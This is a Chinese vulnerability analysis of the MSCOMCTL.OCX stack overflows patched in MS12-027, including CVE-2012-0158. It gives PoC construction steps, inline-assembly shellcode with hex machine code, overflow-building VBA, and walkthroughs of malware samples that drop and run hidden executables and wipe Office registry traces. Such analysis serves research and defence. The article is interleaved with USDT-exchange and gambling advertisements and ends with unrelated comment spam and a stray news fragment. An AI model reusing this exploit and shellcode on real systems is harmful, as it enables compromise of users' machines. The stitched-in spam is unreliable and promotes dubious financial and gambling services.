U交所(www.payusdt.vip)是使用TRC-20协议的Usdt官方交易所,开放USDT帐号注册、usdt小额交易、usdt线下现金交易、usdt实名不实名交易、usdt场外担保交易的平台。免费提供场外usdt承兑、低价usdt渠道、Usdt提币免手续费、Usdt交易免手续费。U交所开放usdt otc API接口、支付回调等接口。
0x00 前言
剖析环境:
- OS版本:Windows 7 Service Pack 1 x86
- Office版本:Professional 2007
- MSCOMCTL.OCX版本:6.01.9545
该版本MSCOMCTL.OCX存在两处缓冲区溢出(详细为栈溢出)破绽,一处为CVE-2012-0158,另一处无CVE编号,均在MS12-027中修补。
0x01 CVE-2012-0158
0x01.1 破绽成因
MSCOMCTL.OCX中CObj::Load
函数对输入数据举行错误校验,第二次挪用ReadBytesFromStreamPadded()
时,会造成溢出,进而可以挟制执行流。
0x01.2 破绽剖析
0x01.2.a POC组织
通过Excel剖析ListView控件时挪用破绽函数的原理组织POC,详见下文剖析。
在Excel中确立ListView控件并添加ListItem子工具使其挪用破绽函数CObj::Load
。此处用VBA代码举行添加并将其编译天生工具,为阻止保留失败,编译后需删除响应代码并保留文件:
将保留后文件拖入winhex,找到CObj类,修改响应的十六进制令其大于8并保留文件,再次打开Excel弹出报错则解释已乐成触发破绽:
0x01.2.b 破绽详细剖析
Ollydbg附加至Excel并打开组织好的POC,Excel报错将弹出报错,Ollydbg将停在0x65006B
处。
此时栈中情形如下图所示。可以预测在加载MSCOMCTL
模块时泛起问题,那么在该模块处下断点并重新加载:
最终发现执行至0x275c8a56
处发生错误,此时栈情形如下,其返回地址为0x65006B
:
从发生错误的位置向上回溯,单步骤试至0x275C8A05
处,发现挪用该函数后,栈被笼罩:
该参数读入长度0x18
,是组织POC时修改的读入长度:
寄存器eax
值为需要读入的字符地址,而这段字符就是Excel中Cobj
要害字后的内容:
在要害函数0x275C8A05
内部,0x275C878D
有一处验证变量值的语句,为利便考察笔者将数值修改为0x18
、0x19
。组织POC时修改的两个数值前者为读入长度,后者为验证参数。但在读入文件时两个数同时被读入,因此该验证可通过修改文件数据直接绕过。
最终执行拷贝的语句在0x275c87cb
处,执行后栈发生改变:
连系MSCOMCTL.OCX
模块的IDA伪代码:
0x01.2.c 行使思绪及shellcode编写
首先将笼罩长度修改为更大数值,之后修改返回地址指向jmp esp
指令,将Shellcode置于返回地址偏移0x8
处使其能乐成被执行。
Shellcode(硬编码)
通过Stud_PE
获取Kernel32.dll
模块基址及WinExec
偏移,组织语句WinExec("AAAA.exe", 5)
int main(void){ __asm{ PUSH EBP MOV EBP, ESP XOR EAX,EAX PUSH EAX PUSH 6578652Eh //".exe" PUSH 41414141h //"AAAA" //若此处修改为636c6163,就能弹出盘算器 MOV EAX,ESP PUSH 5 PUSH EAX // "AAAA.exe" MOV EAX,7783e5fdh //WinExec("AAAA.exe", 5) CALL EAX MOV ESP,EBP POP EBP } return 0; }
转换成机械码为558BEC558BEC33C050682E65786568414141418BC46A0550B8FDE58377FFD08BE55D
Shellcode(动态获取模块基址)
此处参考《加密与解密(第四版)》十四章相关思绪,通过TEB查找法获取Kernel32.dll
基址,进而获得其导出表地址以获取LoadLibrary()
和GetProcessAddress()
函数地址,通过它们组合来获取随便DLL中的API地址。
汇编代码如下:
int main(void){ __asm{ //查找kernel32.dll基址 XOR EAX, EAX MOV EAX, DWORD PTR FS : [0x30]//PEB MOV EAX, DWORD PTR [EAX + 0xC]//PEB_LDR_DATA MOV ESI, DWORD PTR [EAX + 0x14]//差异操作系统偏移差异 lodsd XCHG EAX, ESI lodsd MOV EBX, DWORD PTR [EAX + 0x10]//获取kernel32基址 MOV EDX, DWORD PTR [EBX + 0X3C]// e_lfanew MOV EDX, DWORD PTR [EBX + EDX + 0X78] // ETA ADD EDX, EBX MOV ESI, DWORD PTR [EDX+ 0X20]//namestable ADD ESI, EBX XOR ECX, ECX GET_FUNCTION: INC ECX lodsd ADD EAX, EBX// 读取函数名称 CMP DWORD PTR [EAX], 0X50746547 JNZ GET_FUNCTION CMP DWORD PTR [EAX + 0X4], 0x41636f72 JNZ GET_FUNCTION CMP DWORD PTR [EAX + 0X8], 0x65726464 JNZ GET_FUNCTION MOV ESI, [EDX + 0X24] ADD ESI, EBX MOV CX, WORD PTR [ESI + ECX * 2] DEC ECX MOV ESI, DWORD PTR [EDX + 0X1C] ADD ESI, EBX MOV EDX, DWORD PTR [ESI + ECX * 4] ADD EDX, EBX //GETprocAddress XOR ECX, ECX push 0X00636578 //xec PUSH 0X456E6957 //WinE PUSH ESP PUSH EBX CALL EDX XOR ECX,ECX PUSH ECX PUSH 0X6578652E //".exe" PUSH 0X41414141 //"AAAA" //若此处修改为636c6163,就能弹出盘算器 MOV EBX,ESP PUSH 5 PUSH EBX CALL EAX } return 0; }
转换成机械码为535633C064A1300000008B400C8B7014AD96AD8B58108B533C8B54137803D38B722003F333C941AD03C381384765745075F4817804726F634175EB8178086464726575E28B722403F3668B0C4E498B721C03F38B148E03D333C968786563006857696E455453FFD233C951682E6578656863616C638BDC6A0553FFD05E33C05BC3
此处需要注重的是:机械码过长会超出组织POC时设置的代码段的长度,这里笔者接纳了维一零师傅的方式,代码修改如下,以保证Shellcode正常读入及执行:
Dim L1 As ListItem
Dim key1 As String
Dim i As Integer
i = 0
key1 = "key1"
While (i < 20)
key1 = key1 + key1
i = i + 1
Wend
'MsgBox (key1)
Set L1 = ListView1.ListItems.Add(1, key1 + "1", "test1", 0, 0)
Set L2 = ListView1.ListItems.Add(2, key1 + "2", "test2", 0, 0)
Set L3 = ListView1.ListItems.Add(3, key1 + "3", "test3", 0, 0)
0x01.3 行使样天职析
0x01.3.a 基本信息
NAME: malware_1264.doc
MD5: F393FDC7F3853BC7C435C13A4962C688
SHA1: 48510754C8FD91E3CD5930AF7AE755D4AA2B6D29
0x01.3.b 详细剖析
0x275c8a56
处为破绽触发位置,通过跳板指令jmp esp
转至Shellcode执行并解密数据:
通过TEB查找法获取kernel32.dll基址并依次查找API函数地址:
判断文件巨细以确认是否为样本文件,是则获取其路径:
打开文件,并获取读取写入权限:
获取暂且目录地址并为暂且文件确立一个名称:
获取样本文件名并入栈,随后获取暂且目录地址,拼接地址获得"C:\\Users\\用户名\\AppData\\Local\\Temp\\334fe74b0167a50a35575ccb6058d03a98b11e158d05a41271aab6c9161047db.doc"
:
确立新文件并获取写权限,将数据解密后写入文件,该文件为一PE文件:
挪用WinExec
执行该tmp文件:
,U交所(www.payusdt.vip)是使用TRC-20协议的Usdt官方交易所,开放USDT帐号注册、usdt小额交易、usdt线下现金交易、usdt实名不实名交易、usdt场外担保交易的平台。免费提供场外usdt承兑、低价usdt渠道、Usdt提币免手续费、Usdt交易免手续费。U交所开放usdt otc API接口、支付回调等接口。
删除Software\Microsoft\Office\10.0\Word\Resiliency\
注册表项,以整理纪录:
在TEMP目录下确立新的文档,将数据解密并写入文档,该文档为doc花样:
通过拼接获得下令"cmd.exe /c tasklist&\"C:\\Program Files\\Microsoft Office\\Office12\\WINWORD.EXE\" \"C:\\Users\\用户名\\AppData\\Local\\Temp\\334fe74b0167a50a35575ccb6058d03a98b11e158d05a41271aab6c9161047db.doc\""
:
跳转至WinExec
执行该下令,最终挪用TerminateProcess
函数退出:
0x02 无CVE编号
0x02.1 破绽成因
MSCOMCTL.OCX
中LoadMFCPropertySet
函数为MultiByteStr
变量分配0x148字节栈空间,复制数据时未做有用验证,可通过组织数据造成栈溢出,进而挟制执行流。
0x02.2 行使样天职析
0x02.2.a 基本信息
NAME: virus.doc
MD5: 6845288E2BE0BE1ADBC3A3D4C6AAAA63
SHA-1: 83C0D54DCC948F0C91907DB8FA69CE776CBDD6B2
0x02.2.b 详细剖析
依旧在MSCOMCTL.OCX
模块设置断点并调试。当运行至0x75618d8c
处,此时栈中情形如下图所示,可以预测文件已经触发破绽并乐成执行Shellcode:
从函数返回地址向上回溯,在样本中查找可获得如下信息:
0x27602e9a
处为破绽触发位置,执行事后Shellcode将被复制到栈中:
通过ROP+jmp esp
,跳转至Shellcode执行:
下面临Shellcode举行详细剖析。首先是对数据举行解码:
获取函数挪用地址:
当判断已经查找完最后一个API函数后,程序将执行LoadLibrary("ntdll")
:
以上Shellcode执行竣事后栈中空间如下图所示:
判断文件巨细是否跨越0x2000,是则向后移动文件指针。读取文件数据,通过文件中标志位确定查找的文件是否准确:
从堆中分配指定字节数,将数据读入,函数执行后内存如下:
遍历历程模块,之后将样本文件地址写入内存:
对读入的数据举行解密,此处将数据处置后是一个PE文件:
获取暂且目录地址并写入内存,执行后内存中数据为cmd.exe /c start WINWORD.EXE /q \"C:\\Users\\用户名\\AppData\\Local\\Temp\\
:
在暂且目录下建扬名为virus.doc的文件,在写入数据后关闭句柄,随后执行cmd.exe /c start WINWORD.EXE /q \"C:\\Users\\用户名\\AppData\\Local\\Temp\\virus.doc
:
于暂且目录下建扬名为temp.tmp的文件,设置属性为隐藏,写入数据后关闭句柄,随后执行C:\\Users\\Lab\\AppData\\Local\\Temp\\temp.tmp
:
检索当前历程的伪句柄,随后终止指定的历程及其所有线程:
0x02.3 另一样本
NAME:7ZzOmweGVb.doc
MD5:02b8ba227266dfcefb5958f7dd2fbeaf
SHA-1:5dd79bfa71118e9dec11ff65d37dfa0254e6c536
该样本与0x2.2中样本行使方式相同,不做赘述。
0x03 参考链接
CVE-2012-0158(ms12-027)破绽剖析与行使—维一零
手把手教你若何组织office破绽EXP(第一期)
永远的经典:CVE-2012-0158破绽剖析、行使、检测和总结—银雁冰
Windows平台shellcode开发入门(三)
不知是不是新的 mscomctl 破绽(附件是病毒样本,勿直接运行)—看雪
Usdt自动充值接口声明:该文看法仅代表作者自己,与本平台无关。转载请注明:usdt法币交易api接口(www.caibao.it):MS12-027及行使样天职析
会入迷!不信你看
皇冠体育APP下载看得很开心呢
新发现的宝藏文
‘还有人示意’,“{他在那里待了三到四个}小时,每隔一个小时左右才会停下来休息三分钟、“抽根烟”,然后他又回来了。”『现场照片』显示,在其休息时代,他摘下了口罩。给你小心心~
不错啊还更新吗。
水务局水利养护工程科说明,第2阶段工程已开工,总经费2.7亿元,预计在月眉桥下游至慈恩桥右岸,新建护岸与水防道路,全长约1145公尺,并配合河道拓宽将慈恩桥改建,步道旁也将规画植生绿带绿化环境,预计明年9月可完工。我美了美了美了
来学文笔了